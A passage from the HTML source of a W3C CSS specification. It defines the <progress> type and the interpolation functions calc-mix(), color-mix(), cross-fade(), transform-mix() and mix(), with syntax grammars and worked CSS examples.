property’s entire value, not individual components). Note: The <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-images-4/#funcdef-cross-fade" id="ref-for-funcdef-cross-fade①">cross-fade()</a> notation also has an alternative syntax that allows for mixing more than two values, but does not allow for the more complex expressions of <a class="production css" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress①"><progress></a>. <a class="self-link" href="#issue-db9bc56c"></a> The <a class="css" data-link-type="maybe" href="#funcdef-mix" id="ref-for-funcdef-mix②">mix()</a> notation also has a variant that takes a set of keyframes. It does this by referring to an <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-animations-1/#at-ruledef-keyframes" id="ref-for-at-ruledef-keyframes">@keyframes</a> rule, and pulling the corresponding property declaration out of that. It would be nice to allow the other mix notations to take keyframe also, but how would we represent a set of keyframes for a <a data-link-type="dfn" href="https://www.w3.org/TR/css-syntax-3/#component-value" id="ref-for-component-value①">component value</a> (rather than a full property value)? <h3 class="heading settled" data-level="6.1" id="progress-type">6.1. Representing Interpolation Progress: the <a class="production css" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress②"><progress></a> type<a class="self-link" href="#progress-type"></a></h3> The <dfn class="dfn-paneled css" data-dfn-type="type" data-export id="typedef-progress"><a class="production css" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress③"><progress></a></dfn> value type represents the <a data-link-type="dfn" href="#mix-progress-value" id="ref-for-mix-progress-value">mix progress value</a> in a <a data-link-type="dfn" href="#mix-notations" id="ref-for-mix-notations②">mix notation</a>, and ultimately resolves to a percentage. It can, however, draw that percentage value from sources such as media queries and animation timelines, and can also convert it through an <a data-link-type="dfn" href="https://www.w3.org/TR/css-easing-2/#easing-function" id="ref-for-easing-function">easing function</a> before using it for interpolation. Its syntax is defined as follows: <pre class="prod highlight"><a class="production" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress④"><progress></a> = <c- p>[</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-percentage-token" id="ref-for-typedef-percentage-token"><percentage-token></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑨⓪">|</a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value①①"><number></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑨①">|</a> <a class="production" data-link-type="property" href="https://www.w3.org/TR/css-animations-2/#propdef-animation-timeline" id="ref-for-propdef-animation-timeline"><<c- s>'animation-timeline'</c->></a> <c- p>]</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-all" id="ref-for-comb-all④">&&</a> <c- p>[</c-> by <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-easing-2/#typedef-easing-function" id="ref-for-typedef-easing-function"><easing-function></a> <c- p>]</c-><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt②">?</a> </pre> where: <dl> <dt><dfn class="dfn-paneled css" data-dfn-for="<progress>" data-dfn-type="value" data-export id="valdef-progress-percentage-token"><a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-syntax-3/#typedef-percentage-token" id="ref-for-typedef-percentage-token①"><percentage-token></a></dfn> <dd> Computes to the equivalent <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value①②"><number></a>: 0% becomes 0, 100% becomes 1, etc. Note: This only allows literal percentages, like 15%; calculations like calc(100% / 7) will not work, as they will instead attempt to use the normal rules for resolving a percentage against another type (such as <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#length-value" id="ref-for-length-value⑥"><length></a>, in <a class="property css" data-link-type="property" href="https://www.w3.org/TR/css-sizing-3/#propdef-width" id="ref-for-propdef-width">width</a>). Use expressions like calc(1 / 7) instead. <dt><dfn class="dfn-paneled css" data-dfn-for="<progress>" data-dfn-type="value" data-export id="valdef-progress-number"><a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value①③"><number></a></dfn> <dd> Represents the <a data-link-type="dfn" href="#mix-progress-value" id="ref-for-mix-progress-value①">mix progress value</a>. Note: This allows the use of the <a class="css" data-link-type="maybe" href="#funcdef-progress" id="ref-for-funcdef-progress⑧">progress()</a>, <a class="css" data-link-type="maybe" href="#funcdef-media-progress" id="ref-for-funcdef-media-progress⑧">media-progress()</a>, and <a class="css" data-link-type="maybe" href="#funcdef-container-progress" id="ref-for-funcdef-container-progress⑦">container-progress()</a> notations. <dt><dfn class="dfn-paneled css" data-dfn-for="<progress>" data-dfn-type="value" data-export id="valdef-progress-animation-timeline"><a class="production css" data-link-type="property" href="https://www.w3.org/TR/css-animations-2/#propdef-animation-timeline" id="ref-for-propdef-animation-timeline①"><'animation-timeline'></a></dfn> <dd> Represents the <a data-link-type="dfn" href="#mix-progress-value" id="ref-for-mix-progress-value②">mix progress value</a> as the progress of the specified <a href="https://www.w3.org/TR/web-animations-1/#timelines">animation timeline</a>. The values <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-animations-2/#valdef-animation-timeline-none" id="ref-for-valdef-animation-timeline-none">none</a> and <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-animations-2/#valdef-animation-timeline-auto" id="ref-for-valdef-animation-timeline-auto">auto</a>, however, are invalid. <a data-link-type="biblio" href="#biblio-css-animations-2" title="CSS Animations Level 2">[CSS-ANIMATIONS-2]</a> <a data-link-type="biblio" href="#biblio-web-animations-2" title="Web Animations Level 2">[WEB-ANIMATIONS-2]</a> <dt><dfn class="dfn-paneled css" data-dfn-for="<progress>" data-dfn-type="value" data-export id="valdef-progress-easing-function"><a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-easing-2/#typedef-easing-function" id="ref-for-typedef-easing-function①"><easing-function></a></dfn> <dd> Converts the specified input <a data-link-type="dfn" href="#mix-progress-value" id="ref-for-mix-progress-value③">mix progress value</a> into an output mix progress value using the specified <a data-link-type="dfn" href="https://www.w3.org/TR/css-easing-2/#easing-function" id="ref-for-easing-function①">easing function</a>. <a data-link-type="biblio" href="#biblio-css-easing-1" title="CSS Easing Functions Level 1">[CSS-EASING-1]</a> </dl> Note: Progress values below 0 and above 1 are valid; they allow representing interpolation beyond the range defined by the start and end values. Note: While <a class="production css" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress⑤"><progress></a> itself can be a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#percentage-value" id="ref-for-percentage-value⑥"><percentage></a>, mapping directly to the equivalent <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value①④"><number></a>, a function that resolves to a <number>, like <a class="css" data-link-type="maybe" href="#funcdef-progress" id="ref-for-funcdef-progress⑨">progress()</a>, resolves <percentage>s using the normal rules for the context; for example, in <a class="property css" data-link-type="property" href="https://www.w3.org/TR/css-sizing-3/#propdef-width" id="ref-for-propdef-width①">width</a>, they would be resolved against a length. The <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value③">computed value</a> of a <a class="production css" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress⑥"><progress></a> value specified with <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#percentage-value" id="ref-for-percentage-value⑧"><percentage></a> or <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value①⑥"><number></a> is the computed <number> converted through the <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-easing-2/#typedef-easing-function" id="ref-for-typedef-easing-function②"><easing-function></a> (if any). The computed value of a <progress> value specified with <a class="production css" data-link-type="property" href="https://www.w3.org/TR/css-animations-2/#propdef-animation-timeline" id="ref-for-propdef-animation-timeline②"><'animation-timeline'></a> is the computed <'animation-timeline'> and <easing-function> (if any). <h3 class="heading settled" data-level="6.2" id="calc-mix">6.2. Interpolated Numeric and Dimensional Values: the <a class="css" data-link-type="maybe" href="#funcdef-calc-mix" id="ref-for-funcdef-calc-mix①">calc-mix()</a> notation<a class="self-link" href="#calc-mix"></a></h3> The <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-calc-mix">calc-mix()</dfn> <a data-link-type="dfn" href="#mix-notations" id="ref-for-mix-notations③">mix notation</a> represents an interpolated numeric or dimensional value. Like <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-values-4/#funcdef-calc" id="ref-for-funcdef-calc②">calc()</a>, it is a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#math-function" id="ref-for-math-function⑥">math function</a>, with the following syntactic form: <pre class="prod highlight"><dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-calc-mix"><a class="production" data-link-type="function" href="#funcdef-calc-mix" id="ref-for-funcdef-calc-mix②"><<c- nf>calc-mix</c-><c- p>()</c->></a></dfn> = <c- nf>calc-mix</c-><c- p>(</c-> <a class="production" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress⑧"><progress></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma⑧"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum①⓪"><calc-sum></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma⑨"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum①①"><calc-sum></a> <c- p>)</c-> </pre> The <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-calc-sum" id="ref-for-typedef-calc-sum①②"><calc-sum></a> arguments can resolve to any <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value①⑧"><number></a>, <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#typedef-dimension" id="ref-for-typedef-dimension①"><dimension></a>, or <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#percentage-value" id="ref-for-percentage-value⑨"><percentage></a>, but must have a <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-consistent-type" id="ref-for-css-consistent-type④">consistent type</a> or else the function is invalid. The result’s type will be the consistent type, <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#css-make-a-type-consistent" id="ref-for-css-make-a-type-consistent②">made consistent</a> with the type of the <a class="production css" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress⑨"><progress></a> value. The <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#used-value" id="ref-for-used-value">used value</a> of a valid <a class="css" data-link-type="maybe" href="#funcdef-calc-mix" id="ref-for-funcdef-calc-mix③">calc-mix()</a> is the result of interpolating these two values to the progress given by <a class="production css" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress①⓪"><progress></a>. If the <progress> value can be computed to a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#number-value" id="ref-for-number-value①⑨"><number></a>, then the <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value⑤">computed value</a> is likewise the result of interpolating the two computed values to that <progress> value (in other words, A * (1-progress) + B * progress) it is otherwise the calc-mix() notation itself with its arguments each computed according to their type. <h3 class="heading settled" data-level="6.3" id="color-mix">6.3. Interpolated Color Values: the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-color-5/#funcdef-color-mix" id="ref-for-funcdef-color-mix①">color-mix()</a> notation<a class="self-link" href="#color-mix"></a></h3> This specification extends the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-color-5/#funcdef-color-mix" id="ref-for-funcdef-color-mix②">color-mix()</a> <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#functional-notation" id="ref-for-functional-notation④">functional notation</a> as a <a data-link-type="dfn" href="#mix-notations" id="ref-for-mix-notations④">mix notation</a> accepting the following syntaxes: <pre class="prod highlight"><a class="production" data-link-type="function" href="https://www.w3.org/TR/css-color-5/#funcdef-color-mix" id="ref-for-funcdef-color-mix③"><<c- nf>color-mix</c-><c- p>()</c->></a> = <c- nf>color-mix</c-><c- p>(</c-> <c- p>[</c-> <a class="production" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress①③"><progress></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-all" id="ref-for-comb-all⑤">&&</a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-color-5/#color-interpolation-method" id="ref-for-color-interpolation-method"><color-interpolation-method></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt③">?</a> <c- p>]</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma①⓪"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/CSS21/syndata.html#value-def-color" id="ref-for-value-def-color②"><color></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma①①"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/CSS21/syndata.html#value-def-color" id="ref-for-value-def-color③"><color></a> <c- p>)</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑨②">|</a> <c- nf>color-mix</c-><c- p>(</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-color-5/#color-interpolation-method" id="ref-for-color-interpolation-method①"><color-interpolation-method></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma①②"><c- p>,</c-></a> <c- p>[</c-><a class="production" data-link-type="type" href="https://www.w3.org/TR/CSS21/syndata.html#value-def-color" id="ref-for-value-def-color④"><color></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-all" id="ref-for-comb-all⑥">&&</a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#percentage-value" id="ref-for-percentage-value①⓪"><percentage <c- p>[</c-><c- m>0</c-><c- p>,</c-><c- m>100</c-><c- p>]</c->></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-opt" id="ref-for-mult-opt④">?</a><c- p>]</c-><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-comma" id="ref-for-mult-comma">#<c- p>{</c-><c- m>2</c-><c- p>}</c-></a> <c- p>)</c-> </pre> The used value of the first <a data-link-type="dfn" href="#mix-notations" id="ref-for-mix-notations⑤">mix notation</a> variant is equivalent to assigning the <a class="production css" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress①④"><progress></a> value, as a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#percentage-value" id="ref-for-percentage-value①①"><percentage></a>, to the <percentage> of the second <a class="production css" data-link-type="type" href="https://www.w3.org/TR/CSS21/syndata.html#value-def-color" id="ref-for-value-def-color⑤"><color></a> argument in the second variant. That is, color-mix(progress, color1, color2) is equivalent to color-mix(color1, color2 progress). See <a href="https://www.w3.org/TR/css-color-5/#color-mix"><cite>CSS Color 5</cite> § 3 Mixing Colors: the color-mix() Function</a> for the normative definition of the second variant. <a class="self-link" href="#issue-78ec385d"></a> <a class="production css" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress①⑤"><progress></a> allows returning percentages outside 0-100%, but <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-color-5/#funcdef-color-mix" id="ref-for-funcdef-color-mix④">color-mix()</a> doesn’t allows such values, so need to define how that gets processed. <h3 class="heading settled" data-level="6.4" id="cross-fade">6.4. Interpolated Image Values: the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-images-4/#funcdef-cross-fade" id="ref-for-funcdef-cross-fade②">cross-fade()</a> notation<a class="self-link" href="#cross-fade"></a></h3> This specification extends the <a class="css" data-link-type="maybe" href="https://www.w3.org/TR/css-images-4/#funcdef-cross-fade" id="ref-for-funcdef-cross-fade③">cross-fade()</a> <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#functional-notation" id="ref-for-functional-notation⑤">functional notation</a> as a <a data-link-type="dfn" href="#mix-notations" id="ref-for-mix-notations⑥">mix notation</a> accepting the following syntaxes: <pre class="prod highlight"><a class="production" data-link-type="function" href="https://www.w3.org/TR/css-images-4/#funcdef-cross-fade" id="ref-for-funcdef-cross-fade④"><<c- nf>cross-fade</c-><c- p>()</c->></a> = <c- nf>cross-fade</c-><c- p>(</c-> <a class="production" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress①⑥"><progress></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma①③"><c- p>,</c-></a> <c- p>[</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-images-3/#typedef-image" id="ref-for-typedef-image①"><image></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑨③">|</a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/CSS21/syndata.html#value-def-color" id="ref-for-value-def-color⑥"><color></a> <c- p>]</c-><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma①④"><c- p>,</c-></a> <c- p>[</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-images-3/#typedef-image" id="ref-for-typedef-image②"><image></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑨④">|</a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/CSS21/syndata.html#value-def-color" id="ref-for-value-def-color⑦"><color></a> <c- p>]</c-> <c- p>)</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑨⑤">|</a> <c- nf>cross-fade</c-><c- p>(</c-> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-images-4/#typedef-cf-image" id="ref-for-typedef-cf-image"><cf-image></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#mult-comma" id="ref-for-mult-comma①">#</a> <c- p>)</c-> </pre> The used value of the first <a data-link-type="dfn" href="#mix-notations" id="ref-for-mix-notations⑦">mix notation</a> variant is equivalent to assigning the <a class="production css" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress①⑦"><progress></a> value as the <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#percentage-value" id="ref-for-percentage-value①③"><percentage></a> of the second <a class="production css" data-link-type="type" href="https://www.w3.org/TR/CSS21/syndata.html#value-def-color" id="ref-for-value-def-color⑧"><color></a> argument in the second variant. That is, cross-fade(progress, image1, image2) is equivalent to cross-fade(image1, image2 progress). See <a href="https://www.w3.org/TR/css-images-4/#cross-fade-function"><cite>CSS Images 4</cite> § 2.6 Combining images: the cross-fade() notation</a> for the normative definition of the second variant. <h3 class="heading settled" data-level="6.5" id="transform-mix">6.5. Interpolated Transform Values: the <a class="css" data-link-type="maybe" href="#funcdef-transform-mix" id="ref-for-funcdef-transform-mix">transform-mix()</a> notation<a class="self-link" href="#transform-mix"></a></h3> The <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-transform-mix">transform-mix()</dfn> <a data-link-type="dfn" href="#mix-notations" id="ref-for-mix-notations⑧">mix notation</a> represents an interpolated <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-transforms-1/#typedef-transform-list" id="ref-for-typedef-transform-list"><transform-list></a>, with the following syntactic form: <pre class="prod highlight"><dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-transform-mix"><a class="production" data-link-type="function" href="#funcdef-transform-mix" id="ref-for-funcdef-transform-mix①"><<c- nf>transform-mix</c-><c- p>()</c->></a></dfn> = <c- nf>transform-mix</c-><c- p>(</c-> <a class="production" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress①⑧"><progress></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma①⑤"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-transforms-1/#typedef-transform-list" id="ref-for-typedef-transform-list①"><transform-list></a><a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma①⑥"><c- p>,</c-></a> <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-transforms-1/#typedef-transform-list" id="ref-for-typedef-transform-list②"><transform-list></a> <c- p>)</c-> </pre> The <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#used-value" id="ref-for-used-value①">used value</a> of a valid <a class="css" data-link-type="maybe" href="#funcdef-transform-mix" id="ref-for-funcdef-transform-mix②">transform-mix()</a> is the result of interpolating these two values to the progress given by <a class="production css" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress①⑨"><progress></a>. If the <progress> value can be computed to a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-values-4/#percentage-value" id="ref-for-percentage-value①④"><percentage></a>, and the <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-transforms-1/#typedef-transform-list" id="ref-for-typedef-transform-list③"><transform-list></a>s can be interpolated without used-value-time information, then the <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value⑦">computed value</a> is likewise the result of interpolating the two computed values to that <progress> value; it is otherwise the transform-mix() notation itself with its arguments each computed according to their type. <a class="css" data-link-type="maybe" href="#funcdef-transform-mix" id="ref-for-funcdef-transform-mix④">transform-mix()</a> is, itself, a <a class="production css" data-link-type="type" href="https://www.w3.org/TR/css-transforms-2/#typedef-transform-function" id="ref-for-typedef-transform-function"><transform-function></a>. <h3 class="heading settled" data-level="6.6" id="mix">6.6. Interpolated Property Values: the <a class="css" data-link-type="maybe" href="#funcdef-mix" id="ref-for-funcdef-mix③">mix()</a> notation<a class="self-link" href="#mix"></a></h3> <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#interpolation" id="ref-for-interpolation①">Interpolation</a> of any two property values can be represented by the <dfn class="dfn-paneled css" data-dfn-type="function" data-export id="funcdef-mix">mix()</dfn> <a data-link-type="dfn" href="#mix-notations" id="ref-for-mix-notations⑨">mix notation</a>, which supports two alternative syntax patterns: <pre class="prod highlight"><dfn class="dfn-paneled" data-dfn-type="type" data-export id="typedef-mix"><a class="production" data-link-type="function" href="#funcdef-mix" id="ref-for-funcdef-mix④"><<c- nf>mix</c-><c- p>()</c->></a></dfn> = <c- nf>mix</c-><c- p>(</c-> <a class="production" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress②②"><progress></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma①⑦"><c- p>,</c-></a> <a class="production" data-link-type="type" href="#whole-value" id="ref-for-whole-value②"><whole-value></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-comma" id="ref-for-comb-comma①⑧"><c- p>,</c-></a> <a class="production" data-link-type="type" href="#whole-value" id="ref-for-whole-value③"><whole-value></a> <c- p>)</c-> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-one" id="ref-for-comb-one⑨⑥">|</a> <c- nf>mix</c-><c- p>(</c-> <a class="production" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress②③"><progress></a> <a data-link-type="grammar" href="https://www.w3.org/TR/css-values-4/#comb-all" id="ref-for-comb-all⑦">&&</a> of <a class="production" data-link-type="type" href="https://www.w3.org/TR/css-animations-1/#typedef-keyframes-name" id="ref-for-typedef-keyframes-name"><keyframes-name></a> <c- p>)</c-> </pre> The first syntax alternative, like other <a data-link-type="dfn" href="#mix-notations" id="ref-for-mix-notations①⓪">mix notations</a>, interpolates between the first <a class="production css" data-link-type="type" href="#whole-value" id="ref-for-whole-value④"><whole-value></a> (its <a data-link-type="dfn" href="#mix-start-value" id="ref-for-mix-start-value①">mix start value</a>) and the second <whole-value> (its <a data-link-type="dfn" href="#mix-end-value" id="ref-for-mix-end-value①">mix end value</a>). The second uses the <a data-link-type="dfn" href="#mix-progress-value" id="ref-for-mix-progress-value⑤">mix progress value</a> to interpolate the corresponding property declarations from a set of keyframes, allowing for more complex interpolation curves. For the standard <a data-link-type="dfn" href="#mix-notations" id="ref-for-mix-notations①①">mix notation</a> variant, if the two <a class="production css" data-link-type="type" href="#whole-value" id="ref-for-whole-value⑥"><whole-value></a>s being interpolated by <a class="css" data-link-type="maybe" href="#funcdef-mix" id="ref-for-funcdef-mix⑤">mix()</a> are <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#interpolation" id="ref-for-interpolation②">interpolable</a> as values for the property in which it is specified, and the interpolated value can be represented without mix(), the <a data-link-type="dfn" href="https://www.w3.org/TR/CSS21/cascade.html#computed-value" id="ref-for-computed-value⑨">computed value</a> of mix() is the result of interpolating these two values to the progress given by <a class="production css" data-link-type="type" href="#typedef-progress" id="ref-for-typedef-progress②④"><progress></a>. Otherwise, the computed value of mix() is the mix() <a data-link-type="dfn" href="https://www.w3.org/TR/css-values-4/#functional-notation" id="ref-for-functional-notation⑥">functional notation</a> itself with its <progress> value computed and its <whole-value>s (if provided) computed as values for this property. <div class="example" id="example-d23568e3"> <a class="self-link" href="#example-d23568e3"></a> For example, most uses of <a class="css" data-link-type="maybe" href="#funcdef-mix" id="ref-for-funcdef-mix①⓪">mix()</a> will resolve at computed-value time: <pre class="highlight"><c- k>color</c-><c- p>:</c-> <c- nf>mix</c-><c- p>(</c-><c- m>90</c-><c- k>%</c-><c- p>,</c-> red<c- p>,</c-> blue<c- p>);</c-> <c- c>/* via simple interpolation,</c-> <c- c> computes to: */</c-> color: <c- nf>rgb</c-><c- p>(</c-><c- m>10</c-><c- k>%</c-> <c- m>0</c-> <c- m>90</c-><c- k>%</c-><c- p>);</c-> <c- k>color</c-><c- p>:</c-> <c- nf>mix</c-><c- p>(</c-><c- m>90</c-><c- k>%</c-><c- p>,</c-> currentcolor<c- p>,</c-> black<c- p>);</c-> <c- c>/* can’t be fully resolved at computed-value time,</c-> <c- c> but still has a defined representation: */</c-> color: <c- nf>color-mix</c-><c- p>(</c->currentcolor <c- m>90</c-><c- k>%</c-><c- p>,</c-> black <c- m>10</c-><c- k>%</c-><c- p>);</c-> <c- k>float</c-><c- p>:</c-> <c- nf>mix</c-><c- p>(</c-><c- m>90</c-><c- k>%</c-><c- p>,</c-> left<c- p>,</c-> right<c- p>);</c-> <c- c>/* discretely animatable */</c-> float: right<c- p>;</c-> </pre> But a few cases don’t have an intermediate representation: <pre class="highlight"><c- k>transform</c-><c- p>:</c-> <c- nf>mix</c-><c- p>(</c-><c- m>90</c-><c- k>%</c-><c- p>,</c-> <c- nf>translate</c-><c- p>(</c-><c- nf>calc</c-><c- p>(</c-><c- m>1</c-><c- k>em</c-> + <c- m>50</c-><c- k>%</c-><c- p>)),</c-> <c- nf>rotate</c-><c- p>(</c-><c- m>30</c-><c- k>deg</c-><c- p>));</c-> <c- c>/* because functions don’t match, it will interpolate</c-> <c- c> via matrix(). But translate(%) needs layout</c-> <c- c> information to turn into a matrix(), so the</c-> <c- c> interpolated value can’t actually be represented.</c-> <c- c> Computes to: */</c-> transform: <c- nf>mix</c-><c- p>(</c-><c- m>90</c-><c- k>%</c-><c- p>,</c-> <c- nf>translate</c-><c- p>(</c-><c- nf>calc</c-><c- p>(</c-><c- m>16</c-><c- k>px</c-> + <c- m>50</c-><c- k>%</c-><c- p>)),</c-> <c- nf>rotate</c-><c- p>(</c-><c- m>30</c-><c- k>deg</c-><c- p>));</c-> <c- k>transform</c-><c- p>:</c-> <c- nf>mix</c-><c- p>(</c-><c- m>90</c-><c- k>%</c-> of ripple<c- p>);</c-> </pre> </div> The <a class="css" data-link-type="maybe" href="#funcdef-mix" id="ref-for-funcdef-mix①①">mix()</a> notation is a <a class="production css" data-link-type="type" href="#whole-value" id="ref-for-whole-value⑧"><whole-value></a>. Additionally, if any of its <whole-value> arguments are <a data-link-type="dfn" href="https://www.w3.org/TR/web-animations-1/#not-animatable" id="ref-for-not-animatable">not animatable</a>, the notation is invalid. <div class="example" id="example-3f7753cb"> <a class="self-link" href="#example-3f7753cb"></a> For example, the following declarations are invalid, and will be ignored: <pre class="highlight"><c- c>/* Invalid start value */</c-> color: <c- nf>mix</c-><c- p>(</c-><c- m>90</c-><c- k>%</c-><c- p>,</c-> #invalid<c- p>,</c-> #F00<c- p>);</c-> <c- c>/* Function is mixed with other values */</c-> background: <c- nf>url</c-><c- p>(</c-><c- s>ocean</c-><c- p>)</c-> <c- nf>mix</c-><c- p>(</c-><c- m>10</c-><c- k>%</c-><c- p>,</c-> blue<c- p>,</c-> yellow<c- p>);</c-> <c- c>/* 'animation-*' is not animatable */</c-> animation-delay: <c- nf>mix</c-><c- p>(</c-><c- m>0</c-><c- k>%</c-><c- p>,</c-> <c- m>0</c-><c- k>s</c-><c- p>,</c-> <c- m>2</c-><c- k>s</c-><c- p>);</c-> </pre> </div> <h2 class="heading settled" data-level="7" id="value-insert">7. Miscellaneous Value Substituting Functions<a class="self-link" href="#value-insert"></a></h2> <h3 class="heading settled dfn-paneled css" data-dfn-type="type" data-export data-level="7.1" data-lt="<whole-value>" id="whole-value">7.1. Representing An Entire Property Value: the <a class="production css" data-link-type="type" href="#whole-value" id="ref-for-whole-value①⓪"><whole-value></a> type<a class="self-link" href="#whole-value" id="ref-for-whole-value②①"></a></h3> Several functions defined in this specification can only be used as the "whole value" of a property. For example, <a class="css" data-link-type="propdesc" href="https://www.w3.org/TR/CSS21/colors.html#propdef-background-position" 